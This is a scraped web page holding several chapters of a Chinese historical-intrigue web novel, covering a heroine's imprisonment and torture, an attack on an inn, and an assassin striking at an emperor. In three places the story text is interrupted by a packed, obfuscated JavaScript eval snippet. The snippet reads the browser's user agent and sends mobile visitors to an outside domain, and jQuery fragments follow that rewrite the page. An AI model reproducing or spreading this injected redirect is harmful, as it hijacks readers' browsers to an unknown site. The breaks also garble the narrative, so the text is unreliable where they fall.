然而马车一离开客栈,暗中盯着客栈的眼线立马将此事汇报给了安庆帝。 “苏月清失踪,裴淮看似排查隐患,捉拿替婚的贼人,实则暗中查找苏月清的下落,今夜却看到有马车从大魏的客栈离开。” 安庆帝寻思半天,立马看向旁边的内侍总管, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安庆帝眸子沉了沉,“他们苏家谋反,如今全部缉拿捉住,把她送进牢中,按罪处置,他迟迟做不出的选择,还想浑水摸鱼,上天也是在今日帮了孤一回,孤这次帮他选。” 苏月清逃跑的消息,两位武婆子回到客栈后将此事原原本本都说给了李之夭。 “主子,老奴实在没想到那姑娘会用毒,我们本想去方便一下,还是分开去的,没想到她早就醒了,将我两迷晕,自己逃走了。” 李之夭揉了揉发胀的眉心,“她逃了,就会回青城来找裴淮,你们回来的时候可有去小道上看看?” 另一位道:“看了,老奴还看见似乎是皇家的人带着追了过来,然后他们也去了小道,怕打草惊蛇,就不敢再去,只得赶紧回来只会主子。” “若旁人问起,你们就说今日押送的是踏雪姑娘,她会武功,若无人问及就相安无事,然后明日照常出城,你们现在边关住一段时间。” 武婆子走后,李之夭有些头大,还是低估了苏月清了,早知骆寒山下药时就让他多加点计量,这样也能确保万无一失,没曾想她手无缚鸡之力的姑娘,能把两位武婆子制服。 “飞鸿,需要你跑一趟。” 飞鸿出现在门口,李之夭道:“你去宫里走一趟,晚上出现的人应该是安庆帝身边的内侍总管,倘若苏月清落在安庆帝手里,你就把这消息告诉给纪无涯,让他去跟裴淮说。” 死对头身边的暗卫是自己人。 飞鸿到宫里的时候,正好看见内侍总管押着不停挣扎的苏月清去往大牢。 事情很是顺利,只是找纪无涯的时候废了不少时间。 将消息顺利转达后,纪无涯等到内侍总管离开,才拿着裴淮的令牌潜入看了一眼,在大牢的最深处找到苏月清,因为下的是谋逆罪臣的女儿,为了认罪,狱卒对苏月清上了夹刑。 她痛苦叫出声,狱卒头子还在她跟前循循善诱:“苏姑娘,我们也不想为难你,只是当年你爹参与藩王谋反,最后你们一家人全都逃走,至今除了你,其余人全都下落不明,你说他们死了,可有证据证明?劝你还是赶紧把他们说出来,以免伤了你。” 夹棍瞬间松下来,苏月清双手颤抖,疼得她浑身哆嗦,她苦笑地看着十指,竟有些后悔迷晕那两婆子逃走,都比起外面,这里暗无天日的日子才是真正的酷刑。 “我说死了就是死了,死了这么多年的人,你让我怎么证明?” 头子故作为难摆摆手,“你什么也不说,很让我们难办,皇上想要个结果,你不说,这结果怎么给上去?” 话音刚落,夹棍又被勒紧,苏月清叫出声,“我要见裴淮,我要见裴淮,你们去找他来见我!” “还想见璃王殿下?如今璃王殿下是炙手可热未来储君人选,皇上说了,是不会让你见的,你还是赶紧认下罪名,以免受皮肉之苦。” 纪无涯指尖飞出一粒石子,打在头子的膝盖上,让他栽倒在地,一时间头子慌了神,刚想让人继续行刑时,纪无涯再次飞出石子打在他们身上,一连好几次,将人吓走之后,他才回璃王府把这件事告诉给裴淮。 “主子不在。”青鸢从暗处走出来,将想闯进书房的纪无涯拦住。 “去了何处?” “主子方才被皇上连夜叫进了宫中。”青鸢如实回答,“你有何事?” “有苏月清下落了。” 115. 觉醒 第115章 青鸢神色一凝,不确信纪无涯说的是真是假。 对方显然怕她没听清,再重复了一遍,“苏月清找到了。” 短暂的失神后,终于找回自己的意识,“她人在何处?” “你们北唐的大牢中。” 青鸢离开璃王府,朝着宫里赶去,她一路闯到御书房前跪下,高声想要求见裴淮。 苏月清若真的在大牢中,此事必然少不了安庆帝从中作梗,她必须见到裴淮。 屋内的裴淮正跟安庆帝对弈,安庆帝抬眼,皮笑肉不笑的,“你的属下在找你,你不出去看看么?” 裴淮为了巩固自己在安庆帝心中的形象,明知青鸢不是这般莽撞的性子,这么着急赶来说明是真的有急事,可今晚安庆帝连夜将他传唤进宫,显然是为了拖住自己。 他这么做的目的是何? 父子两如今面和心不和,一个看似大度,实则对他的儿子早有防范,一个看似不在意,心里实则在意得很。 裴淮轻笑出声:“能有什么急事。” 安庆帝低头将棋盒里的黑棋取出一粒,放在棋盘上,假装不经意的试探,“万一是跟苏月清有关呢,这事你也不去看看?” 裴淮放在身前的手捏紧,笑着执白子落棋。 如今棋盘局势白子已被黑子逼得成困兽之势,身陷绝境,不管怎么看白子都在做无谓挣扎,胜败是迟早的事。 裴淮凝望着棋盘上的棋子,在安庆帝落棋之后,他举棋不定,迟迟不肯落下最后一字,最后收子儿拱手道歉,“是父皇赢了。” 安庆帝将他的动作尽收眼底,并未揭穿裴淮的谎言,应下他的奉承,“现在孤也乏了,你去帮孤催一催安神汤怎么还未到,今日你也不用回去了,外面不太安全,晚间孤听说宿宁公主派人送了辆马车出城,急匆匆的,也不知是不是她害怕自己逃走了。” 裴淮笑容凝固在脸上,很快又恢复如初,“她跟五哥的婚事被毁,早些时候,我在大魏同她过过招,此女心口不一,又是燕国皇室的公主,虽说摊上个大魏皇帝身份的舅舅,可在朝中却是个万人嫌的存在,如今文官站在她身边,不过是怕驳了他们大魏的面子,回去不好交差。” 安庆帝由内侍总管扶着横卧在榻上,闭了闭眼,莫约在过一个时辰,天就亮了,他也不打算再继续留裴淮在宫里,天一亮,他想要的结果,就会有了,于是摆摆手,“今日不上朝了,你把安神汤送来就走吧。” 裴淮离开后,安庆帝揉了揉眉心,“苏月清认了吗?” 内侍总管为难的开口,“牢房那边还未传出消息,若苏月清招认自家谋反,认罪书早就送来了,何苦等到现在。” 安庆帝长叹一声:“本以为苏家会出苏月清这么一个软骨头,毕竟当初可是她把自己养父坑害没了,没曾想进了大牢,嘴巴倒是硬气起来了。” 主仆二人不在言语,等裴淮将安神汤送来告辞,大牢那边依旧没传来消息。 裴淮真正走出御书房的那一刻,连续几日操劳过度,让他一阵心力憔悴的守在一旁的杨刻扶住他,青鸢才得从侍卫的阻拦下脱身,将纪无涯带回来的消息简明扼要的说了一遍。 得知苏月清在大牢的时,裴淮回头望向紧闭屋门的御书房,目光狠绝,杀意涌动。 他们急匆匆出宫,裴淮安排道:“青鸢,你立刻跟我去大牢救人,杨刻,有件事需要你去办,带上纪无涯,召集人手,你们去夜袭李之夭所在的客栈,清清会出现在牢里,必然跟她李之夭脱不了干系。” 大牢内,苏月清不知自己是第几次从晕厥中被唤醒,冰凉带着咸味儿的水泼在身上,她十指如今动弹不得,红肿不堪,也挨了板子和鞭子。 可他们想要自己亲口说出苏家当年有罪的行为,李之夭说得没错,他们家当年没有错,帝王不公,搅得天下黎明百姓名不聊生,云州一带更是苦不堪言,为了自己的王权和私心,置百姓于水火。 她爹苏祁没有错,她的师父和养父都没骗人,她爹确实是个好人。 “在位者不堪重用,为一己之私让数百名婴孩死无葬身之地,搅得北唐云州成为人间地狱,人人自危,不敢生育,暴政专制,独裁独断,想逼我认罪,我不会认!” 苏月清大叫一声,“我死也不会认!” 眼看巴掌又要落在脸上,她闭上了眼睛,但预想中的疼痛并未传来,反倒传来旁人一阵惨叫。 苏月清缓慢睁眼,瞧见裴淮一剑将行刑的狱卒捅穿,连剑都顾不得拔出,几步的距离,他硬是跌倒好几次才来到她身边。 裴淮解下身上的披风,将她抱在怀里,“清清,对不起,对不起清清,我来晚了。” 苏月清深吸一口气,闻到他身上一股异香,香味凛冽,不是他平日惯用的,“裴淮,安庆帝想逼我认罪,承认我爹是有错在先,当年我苏家举家逃亡一事闹得沸沸扬扬,他是人人称赞的清官好官,我全都记得,安庆帝想屈打成招,逼我认罪,我没认,若想要我的命就拿去吧,我苏家人要清清白白活着,清清白白做人,从小我爹教我的道理,我进了大牢才意识到。” “清清,我带你出去,我带你去找大夫,对不起,我来晚了。” 裴淮将苏月清背在身上,跑出大牢,直奔璃王府。 “你身上有皇宫安庆帝御书房内独有的龙涎香味,你从宫里出来的,在宫里待这么长时间,你是做出了选择。”苏月清话说得很慢,她抬眼看着快要翻白的天空,眼泪从眼角滑落。 “你已做出了选择,裴淮,你要江山,不要我了。” “我没有,我不会不要你,清清,我那是迫不得已。”裴淮急忙解释,他的话音里都带有颤音,快要哭出来一般。 “你想要我跟你在一起时,你跟我说过,永远不会放弃我。”苏月清神色麻木地爬在他宽阔的背上,“但我不管你原因为何,你最后还是放弃我,你若是为我好,理应告诉我,你放弃一次,将来会有无数次。” 裴淮生怕听到苏月清说出更为绝情的话,拼命阻挠:“清清,我真只是迫不得已,清清,我求求你相信我,清清,你不许离开我。” 她苦笑出声,眼泪不停地掉,“裴淮,你跟你父皇骨子里都是一丘之貉,身在帝王家,当真狠心又绝情,即便知道你的母妃是皇上害死的,纳多族死于安庆帝手下,你还是选择投靠,我若怀此深仇大恨,必不会像你这般装得若无其事,你也是害我苏家的罪魁祸首。” 裴淮只觉胸口一阵刺痛,他奔跑的步子在原地停下,裴淮难以置信的低下头,看着扎进自己胸口的发钗,位置偏了,但还是险些要了他的命。 青鸢瞧见上前惊呼一声,想要去扶裴淮,却还是慢了一步。 裴淮和苏月清齐齐倒在璃王府的大门口,两人面对面望着,苏月清眼泪还在掉。 “裴淮,我不想再被你囚禁起来了,李之夭说的对,我有医术,我本该是外面的自由的鸟雀,不是被你圈禁的宠物。” 裴淮闭上眼睛,璃王府的大门打开,里面的侍卫赶忙出来,将裴淮从地上抬进去,慌乱之中,一块断玉从裴淮衣襟里掉了出来。 断玉缺了一半,苏月清伸手去拿,那是他们幼时将一块玉佩分成了两段,串上红绳,两人各执一半。 她也被侍卫抬进了府中,丢进了柴房,青鸢厌恶地瞪了苏月清一眼,“主子这么对你,没曾想,你却是个养不熟的白眼狼,你姑且祈求主子安然无恙,否则你也得跟着陪葬!” 大夫进来简单帮苏月清处理了一下伤势,确保她不会死,就这么吊着,人离开后,房门被锁,外头兵荒马乱。 与此同时,杨刻和纪无涯点完人之后,瞧瞧潜藏在客栈附近,今晚值守的侍卫被杨刻带人杀掉,客栈是四合院的样式,因为杨刻不放心他,所以现在纪无涯还是跟在杨刻身边的。 眼看杀手已攀爬上屋顶,准备悄无声息下去,将他们一网打尽。 纪无涯指尖上下抛着几粒石子儿,趁杨刻不注意,飞出一粒打在秦立山的房门上。 圆溜溜的石子骨碌碌在地上滚了几圈,在场的人都没人在意。 “杀!” 杨刻一声令下,杀手们涌下院内楼道上,秦立山的房门率先被他打开,秦立山拿着刀剑将杀手捅穿,随后吹响口哨,叫醒楼内的侍卫。 一瞬间两方人马刀剑相交,厮杀声不断,因为这次刺杀出乎意料,大魏这边哪怕反应再快,也有些措手不及。 杨刻一间一间寻找李之夭所在的屋子。 最终在中间的一处屋子找到了他想要的结果。 踏雪飞鸿想要护着李之夭,但涌进来的杀手人数众多,短暂的拼杀过后,两人被颤得暂时脱不开身,春夏时雨都拿起武器挡在跟前。 她将将入睡,今晚的刺杀着实是没预料到,发现她人后,大批杀手涌了进来。 目标很是明确,没有别人,只有她。 李之夭举起桌上的茶壶,砸在冲在最前面的杀手身上,春夏和时雨也拿着手里的鸡毛掸和扫帚一顿乱挥,小顺子更是直接将桌子给掀了,和春夏时雨一起把人顶了出去。 在瞬间他们把门关上,从里面插上了门栓。 四下惊惧,李之夭注意到屋内装她嫁妆担子上挂着鞭炮,“把它点燃丢出去!” 春夏和时雨开门的瞬间,小顺子立马将点燃引线的鞭炮丢出去。 鞭炮在人群中炸开,所有人跳脚躲避之时,又接连几串鞭炮被扔了出来,其中还夹杂着骆寒山最近刚研究出来的催泪丸,白烟四起。 四人趁乱一边丢催泪丸,一边跑,春夏感慨,“骆师傅时不时送来的稀奇古怪的东西,关键时刻真好用。” 杨刻立即反应过来,赶忙追上去,一把揪住了时雨的头发。 时雨吃痛,旁边的春夏下意识一巴掌甩在了杨刻脸上,杨刻有些发懵,时雨跺脚在一巴掌甩了上去,从杨刻手底下逃脱。 下楼上楼的路被堵住,回过神来的杨刻恼羞成怒,飞身上前把小顺子踹下楼梯,楼下的秦立山瞧见,立即带人杀上来,从杀手手中将小顺子等人解救。 杨刻一把掐住李之夭的脖子,将她摁在围栏上,大半个身子都伸出围栏,悬在了半空中。 远处再度飞来一枚石子儿打在杨刻手上,他吃痛松手,李之夭没了支撑整个人从围栏上掉了下了去。 对面的纪无涯见状飞身而来,跑得太急几乎是跪在地上接住了从天而降的李之夭。 杨刻从三楼探出头怒斥纪无涯,“纪无涯,杀了她!” 纪无涯将李之夭抱起,搂在怀中,抽出腰间软剑,反手刺进身后的一名杀手胸口。 正当杨刻惊诧之时,雪靠在柱子上,站在他身旁,“杨哥哥,陪我玩儿啊。” 雪十指为武器,顿时跟杨刻打起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787160|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而杨刻通过她的一招一式瞬间认出眼前的小姑娘正是当日在大魏城南时的小魔头! 惊惧从心底蔓延,他瞪大双眼,浑身发麻,惊骇叫出声,“你、你是!” 雪嘻嘻一笑,“哎呀,你认出我啦?” 杨刻身法慌乱,不管他怎么进攻,雪都能游刃有余化解,甚至能模仿他的出招,用同样的招式打回来,根本防不住。 渐渐败于下风,他只得拼尽全力跟雪拉开距离,放出一枚红色的信号弹。 红色信号弹在头顶炸开,而雪的手指也穿破了他的胸口。 “既然你发现了,可就不能活着喽。” 雪抽出她的手,连带杨刻身体的血肉蹦出来,他张了张嘴,倒在地上,到死都没有闭上眼睛。 进来的杀手见两个领头人,一个被杀,一个叛变,但都记得今晚目标是李之夭,顿时蜂拥而至围攻在院子中央的人。 纪无涯和李之夭为圆心,飞快靠拢,纪无涯抵挡杀手们的进攻,他速度快得惊人,一如当初在宫里那般,眨眼之间,便有数人倒下不起。 血珠四溅,东方既白,这场刺杀,在黎明到来时,才渐渐落下帷幕。 地上尸首无数,杨刻带来的人,除纪无涯和雪之外,全军覆没,大魏也死伤不少,春夏时雨等人也有不同程度的剑伤,正在挨个等着随行医馆医治。 闻讯赶来黑甲卫涌进院内,裴承泽走进来,看到四周惨况,最后瞧见了躺在地上的杨刻。 “天还未亮,我便听说你们被围攻,我带了黑甲卫赶来,看样子是我来晚了。” 李之夭挨着纪无涯坐在花台边上,她身上披着纪无涯身上的黑色斗篷,而一名大夫正帮纪无涯接骨,因接住高处落下的李之夭,他的双手有些脱臼,加上动武,两只手臂已彻底肿了起来。 待骨头接上,又给了他一瓶活血化瘀的药膏,大夫就跑去忙别的事了。 “五殿下,既然你掌管黑甲卫,想必也有行事之权,杨刻死了,但我需要你帮我一个忙,帮我把他送到璃王府。” 然而裴承泽去到璃王府,发现那里的情况也不怎么好,打听一圈才知道裴淮险些被苏月清刺杀,如今还昏迷不醒。 杨刻的尸首,还是青鸢代为收下。 裴承泽把璃王府的事情讲给李之夭,这下连李之夭都纳闷了,苏月清好端端的,怎么就对裴淮起了杀心? 他们大魏伤亡需要一段时间来休整调养,恰好裴淮那边也出了事,两方暂时息事宁人,本以为裴淮是装出来的,连续好几天都没有一点动静,李之夭心才慢慢放下来。 最后飞鸿潜入璃王府打探消息回来,确认了消息的真实性,还见到了被关押起来的苏月清,才彻底放心。 过了六天,纪无涯传回来消息,说是裴淮已经醒了。 醒过来的裴淮得知杨刻身亡的消息,经确认就是当初那个小魔头干的,手法都一样。 裴淮握紧拳头,狠狠锤在床上,跪在地上说话的小厮手臂断了一只,他眼神愤恨,“这样的伤口不会错的,就是当初抢夺主子的那个小魔头,如今杨侍卫都死于她的魔爪,这件事一定跟李之夭脱不了干系!” 裴淮愤怒得都快双眼喷出火,随后忽然又想起什么,“清清呢?” 青鸢忍不住开口,“主子,她都把你害成这样了,主子你还念着她。” “我问你清清呢!” 青鸢低声道:“在柴房。” 裴淮一听记得险些从床上跌下去,一旁的纪无涯眼疾手快将他扶住,裴淮紧紧抓着纪无涯的衣袖,“纪无涯,你去把清清接出来,她身上有伤,杨刻……” 他话未说完,又晕了过去,胸口再次被血染红。 苏月清被人从柴房放出来的时候,整个人比从前消瘦不少,她接过纪无涯递来的披风,道了句谢,随后任由婆子将她领下去。 纪无涯望了望不算清明的天,入冬后,青城的天总是雾蒙蒙的,见不到太阳。 一晃腊月时节,天气渐渐转凉,饶是蜀州青城,腊月的风刮在脸上也疼。 踏雪推门而入,搓着手哈了几口气,“主子,裴淮那边似乎有大动作,他已开始吩咐人下去,暗中调集先前他征收的兵马朝青城逼近。” 李之夭坐在廊下的躺椅上,她穿着雪白兔绒的青蓝色交领冬装,膝盖盖着大氅,手里捧着汤婆子。 “传消息给耿进才和三娘,让他们把朝宫里报信的人截掉,不能给安庆帝透露一点风声。” 踏雪走后,雪推开后院的小门朝里头张望,没有旁人之后她小跑过来扑进李之夭怀里,重量过来,晃得她身下的摇椅前后摇摆。 近日天冷,青城的冬天很少下雪,天气阴湿阴湿的,不像燕国和大魏,自从上次出事后,秦立山把客栈的后院划出来,单独给李之夭围了院子,若出意外,还能逃跑。 纪无涯走进,李之夭见他穿得比较单薄,忙把膝盖上的大氅递给他,“给你焐热了,正暖和着。” 纪无涯也不推辞,接过披在了身上,李之夭直视着他的头发,又白了不少,“你要不还是先将下月集拿去吧,留在我这这么久,我还是一点头绪都没看出来,实在不行再找找别的办法。” “李之夭,这里很快就要打仗了,你有什么计划你跟我说,我帮你完成,你先离开去避一避吧,万一打起来,裴淮把杨刻的死算在了你头上,他不会放过你的。” 116. 风雨 第116章 李之夭握着汤婆子,仰望着说话的少年,冬日的太阳挂在他身后湛蓝的天上,照得他轮廓虚无,半百的发微微摇晃,颀长的身形挡住日光,在她身上落下一道阴影。 她笑弯了眼,“纪无涯,你在关心我?” “嗯。”少年郎君没有任何犹豫,几乎是在她说完不到一瞬的时间便接上了话。 她的笑容忽然挂在脸上,直白的话语瞬间让她面红耳赤,本想调侃对方,现在反倒却成她下不来台的人了。 气氛有几分凝滞,她努力别开眼,不敢再去望他,手指摩挲着汤婆子,努力寻找别的话题。 偏偏当事人压根没把这话当一回事,纪无涯拢了拢往下掉的大氅,是一件藏蓝色的,披在他身上,倒有几分玉树临风的风范,压根不似江湖人,像世家的公子小郎君。 他这个年纪,正是潇洒肆意,意气风发的年纪,纪无涯却显得沉稳许多,说话做事老气横秋,时事造人也是如此。 李之夭抱着雪往摇椅上一靠,两个人摇摇晃晃,“阿雪,你最近偷吃什么了?重了不少。” 阿雪啊了一声,从她身上蹦下去,发饰见两团雪白色的绒球用红色绸带绑着,在脑袋两旁垂着,显得她娇憨可爱,压根想不到蓄人无害的小姑娘,动起手来是心狠手辣,一点不留情面。 她在原地转了一圈,感觉自己跟从前并无二致,对上李之夭含笑的眼眸,意识到这是拿自己转移话题找乐子呢,顿时气得跺脚扑进李之夭怀里,装模作样要咬她,被李之夭用手给挡住了,随后两个人闹成一团。 纪无涯瞧她们玩闹,心里也开心,眼中闪着明亮的光,分外温柔。 客栈到最后直接被他们大魏买下来,顺理成章改造成了大魏司,接待大魏客人,秦立山他们还是住在前院的客房里,把一楼改成办事的地方,后院改好给李之夭住。 春夏时雨他们伺候李之夭,也都住在这里,除了小顺子还有几名平日负责打扫的丫鬟婆子,还单独建了小厨房,专门负责李之夭的吃食。 客栈原本的厨房则负责大魏司其余的吃食,也免了李之夭得出去跟大多人打交道的困扰。 大魏司的成立,安庆帝自是同意的,在整件事上他们北唐有愧,所以一切都顺理成章。 清武帝传来命令,大魏司的事宜暂由李之夭监管,秦立山从旁协助,甚至在短短半月的时间,又派遣了一队大魏将士过来大魏司,填补空缺。 “你今日来是有何事?” 纪无涯:“就是想过来提醒你一句,你既不想离开,这段时间就让阿雪陪着你,璃王府那边暂时也不会有她什么事,万一出了岔子,我一人也好脱身,往后恐怕也得麻烦公主对她多多担待,跟在你身边,我也放心。” 李之夭没有抬头,听着纪无涯的话眸子暗了暗,应下的声音轻轻的,“好。” 她刮了刮雪的鼻子,宠溺问道,“你师兄把你丢给我,惩罚今晚做你最喜欢的香酥鸭给你吃。” 雪听到这个惩罚,拍手叫好,正想跟师兄炫耀,抬头发现周围早就空无一人。 纪无涯在李之夭应下后就走了,离开的时候李之夭便已察觉了,因为身上的影子没了。 她暗暗叹口气抬头望向天际,鸟雀归巢。 耿进才从前院过来,身后跟着金三娘,手里拿着一个盒子,“主子,这是青城的布局图,包括水利还有地下栈道全都在上面。 金三娘说着打开盒子,将图纸平铺在石桌上,再用盒子压好。 青城四面环山,建于盆地中,占尽地利,易守难攻。 倘若打仗,后方的渝州便是他们最后的底牌。 “三娘,银来庄在北唐的眼线属于我们的人全都排查完了吗?” “纪无涯提醒后主子转告我们,私底下我们已经开始准备排查,一个月的时间,已全部排查完毕,剩下的人都是绝对可信,在北唐的银来庄,属下已吩咐下去让他们陆续转手铺子,我和耿进才也在寻找合适的地段,等主子后续吩咐。” 李之夭望着布局图,“我和裴承泽之间的条件,如今都要互相作废了,舅舅对拿下大魏势在必行,如纪无涯所说,我也该为自己谋个退路。” “任主子吩咐。”耿进才拱手。 “我心中已有对策,只是最近得劳烦你们辛苦些了。” 耿进才和金三娘对视一眼,走进了些听李之夭吩咐,雪听了一半,就觉得困意难捱,趴在石桌上睡了过去。 临近月中,青城的气温越来越低。 骆寒山这两日和小二出去打探裴淮手下私兵的脚程,莫约再过一日,便能到青城门下。 李之夭合起下月集,她怕原本被自己长久翻损坏,于是利用闲暇时间自己誊抄了一本,现在誊抄的新本,纸张也出现了破损的情况。 她靠在椅子上,看了许多遍,始终对当年初帝是如何解了邀月毒仍然得不到一丝有用信息。 下月集上卷手札的最后,只提到了期间感月缘山有悟,创作《大若心经》,以传后世子孙,永享安宁。 所以《大若心经》是燕国皇室从出生起就时常听的经书,它虽是经书,却又不是经书,但凡燕国皇室都能将心经默写下来,且人人都能传颂,实在不是什么稀奇的书卷。 雪凑上来拿起大若心经瞧了瞧,“麻烦公主,你总是带着一本心法,为何不看,却时常去研究一个死人的手札?” “什么心法?” 雪晃了晃被李之夭丢在一旁的《大若心经》,“这本呀,我接触不少秘籍和心法,唯独没见过这样的,但从内容上看,又不是什么很厉害的心法,就是教人调和体内五行,让人的气达到一个平等的状态,讲究阴阳五行,分明是道家的心法,却裹着佛家的外衣,真是奇了怪。” 雪咂舌称奇,随后把书还给了李之夭。 她的话让李之夭一怔,顿时恍然大悟,一直没想通的问题也在此刻得到了答案。 迟迟得不到答案,是她把答案的内容刻板印在了脑子里,若想解毒,她看吃了什么,做了什么,或是练了什么旷世奇功,在不经意间遇到奇妙机遇,这些本以为才是解毒的关键。 让她一门心思钻了牛角尖,久久不得其解。 经雪点明,她才知道是自己想错了,从一开始就错了。 “阿雪,你救了纪无涯一命。” 雪不明所以眨了眨眼睛,但听李之夭这么说,很快就骄傲笑起来。 一直悬在心里的大石头终于落地,整个人都松弛不少。 忽然脸上一凉,李之夭抬手,天上下起了细雨,北唐的冬季大多阴雨,很少下雪,就算下雪都不似大魏,大片大片,大朵大朵的。 只会是雨夹雪,等落到地上的时候,雪也都变成了水。 李之夭一手牵雪一手拿着下月集回到屋子里,春夏和时雨同时帮桌上的糕点盘子和椅子一块搬进屋中。 冬雨从下午一直到晚上都没停,后半夜断断续续地又下了好几轮,直到临近黄昏时才停歇。 纪无涯站在窗前,摸上刀油,仔细用布擦拭着。 叩叩—— 他将软剑缠上腰间,打开房门,青鸢站在门口,她递给纪无涯一封信,“主子要你今晚进宫跑一趟,把这封信给圣上。” 纪无涯接过看了看,信封上很干净,没有任何落款,也没都印章,只有信口处用火漆封了起来。 “行。” 他拿着信合上门就往外走,自从杨刻死了以后,纪无涯逐渐代替了原本属于杨刻的位置,成为裴淮身边举足轻重的人。 而苏月清一直被关在屋中,日常都有人伺候,裴淮路过苏月清门前时,常常会驻足凝望良久,若是经过窗前,正好看到在窗边的苏月清,苏月清会毫不客气地关上窗户,一句话也不愿同他多说。 当日苏月清暗杀裴淮,下手时还是犹豫了,不然按照她的医术精通程度,是不会出现这样的错误。 下了一日的雨,温度又凉了几分,纪无涯对手哈了哈气,再搓了搓,借着裴淮的令牌直接进入了宫中。 今晚裴淮大军便会兵临城下,他猜测信中的内容是城外发现异常的人传递进来的消息,却被裴淮给截住了,日期并不是今天,而是五天前。 若是早五天传进来,青城尚有一线生机,只可惜现在传来,一切都晚了。 裴淮不会杀安庆帝,他还等着安庆帝让他登基的名义变得名正言顺。 他不会,但纪无涯会。 纪无涯于指尖抛着二两银子,等到夜色降临。 夜色渐深,雪打开房门,她身穿黑色斗篷,从里面走出。 李之夭从暗处走出来叫住她,时雨在旁边提着灯,春夏怀里还抱着一柄短剑。 “阿雪,你要去了么?” 雪点点头,“麻烦公主,这些时日谢谢你,但今晚我得去帮师兄。” 李之夭走上前,从时雨怀中拿来那柄短剑递给雪,“我等你们回来,事成之后,从南门出来,那里守卫飞鸿踏雪会帮你们解决,安庆帝身边有暗卫,届时必定会一场混乱,从南门出来,飞鸿踏雪在那里接应你们。” 雪接过李之夭递来的短剑,短剑比较轻,跟普通的长剑稍微短上一截,因她从前的经历,哪怕她年龄增长,但身体也不会再生长了。 一直没有趁手的武器,所以雪从来都只靠着一双手当做武器。 李之夭送来的短剑轻巧锋利,剑身较细,外观也好看,拿在手里甚是趁手。 雪低声说了句谢谢,便匆匆离去。 等雪走了以后,李之夭再道:“秦大统领。” 秦立山出来等候命令。 “我们暂时按兵不动,螳螂捕蝉黄雀在后,通知舅舅,边城的行动在今晚就能开始,再找人坐在回青城的必经之路上拦截,明日天亮之前,不得让幕阜关动乱的消息传进来。” 秦立山退下之后,李之夭想了想,跟时雨说道:“你去给骆师傅传信,他们今日应该到幕阜关附近了,让他们给北唐的百姓传一下消息,说战乱了,想活命的就躲起来吧。” 时雨应下,将提灯挂在树上去办交代的事了。 “春夏。” “你和小顺子带着几名侍卫去通知青城里的百姓避难吧,至于有多少人信,听天由命吧。” 春夏和小顺子彻底走了。 现在院子里彻底只剩她一人。 外头的风忽然刮急了,吹在脸上有些水气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795689|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚看样子要下雨。 纪无涯从皇宫的屋檐上下来,按照裴淮的吩咐将信交到安庆帝手中,得知信中内容的安庆帝跌坐在软椅上。 “五天前的事,为何今日才报!” 他惊骇大叫,胸口上下起伏,后知后觉才反应过来,指着纪无涯手指颤抖,“你、你们,裴淮是故意的,是他拦截了消息!” “为何要这么做!?” 纪无涯:“我也不知。” 他说着站起身,外头有下起了下雨。 今晚的雨比从前淅沥的小雨还要稍微大些,雨水拍打着青砖,扶过红墙。 他拔出软剑,干净利落的割开内侍总管的脖子,整个过程都来不及反应,鲜血喷出,内侍总管张着嘴巴倒在地上。 安庆帝从椅子上抬起来,抽出旁边的帝王剑,不停大喊救命来人,手不忘朝着纪无涯攻去,以求自保。 “是那个逆子让你来的?” “是也不是,二十一年前,纳多灭族,罪魁祸首只剩你一人还苟延于世,你早该下去陪他们了。” 纪无涯躲避安庆帝的攻击,早些年他跟清武帝连慎一样,都是在马背上讨生活的粗人,不同的是安庆帝是被先皇帝强行送进军营的。 他的招式自然比不上连慎,不痛不痒的攻击,根本不是如今纪无涯的对手,这一点安庆帝自己也清楚,他不过是尽可能在拖延时间。 可不管他叫了多少遍,外头始终没人进来。 安庆帝不知道,不管他叫多少遍,守在外面的侍卫在方才下起雨时,已全部死于雪的剑下,尸体躺了一地。 纪无涯察觉身后有人剑气逼来,他侧身躲过攻击,紧接着从另一方暗器飞来,踢飞书桌抵挡暗器。 外头腾空升起一枚黄色的信号弹,炸在空中。 而屋内的打斗却不是最后,四名暗卫四面八方形成包围之势,互相配合地直逼纪无涯。 双方招招杀机,丝毫不给退路。 纪无涯闪身躲避,重重群攻下,他以退为进,长剑直冲想朝门外跑的安庆帝。 他一把揪住安庆帝的肩膀,同时他在半空中的腿也被人拽住。 后面的人用力一扯,将他整个人带了回去,纪无涯抓着安庆帝一同往后飞。 快倒地时,他用剑挡下迎面来的武器。 侧面有人朝他拦腰砍来,纪无涯挣脱钳制他脚的手,手掌用力助推,整个人从敌方□□滑过。 砍人的大刀落空,砸在御书房的柱子上。 纪无涯趁机出了包围圈。 正好在安庆帝身边。 他调转剑头刺向安庆帝,奈何对方四个人,配合实在默契,一人救安庆帝,两人配合丢暗器,一人近身攻击。 逼得纪无涯收回剑势作为抵挡。 他以一敌三用内力将飞来的暗器震飞,趁机他也掷出暗器刺向三人。 三人防御时,纪无涯直冲想要逃走的安庆帝。 一剑刺在安庆帝脚上,他重心不稳栽倒在地上。 纪无涯的长剑刺穿想带安庆帝离开的暗卫胸口。 剑身拔出,带出些许血珠。 四名暗卫已倒了一人,剩下三人的攻势越发凛冽。 招招皆想置人于死地。 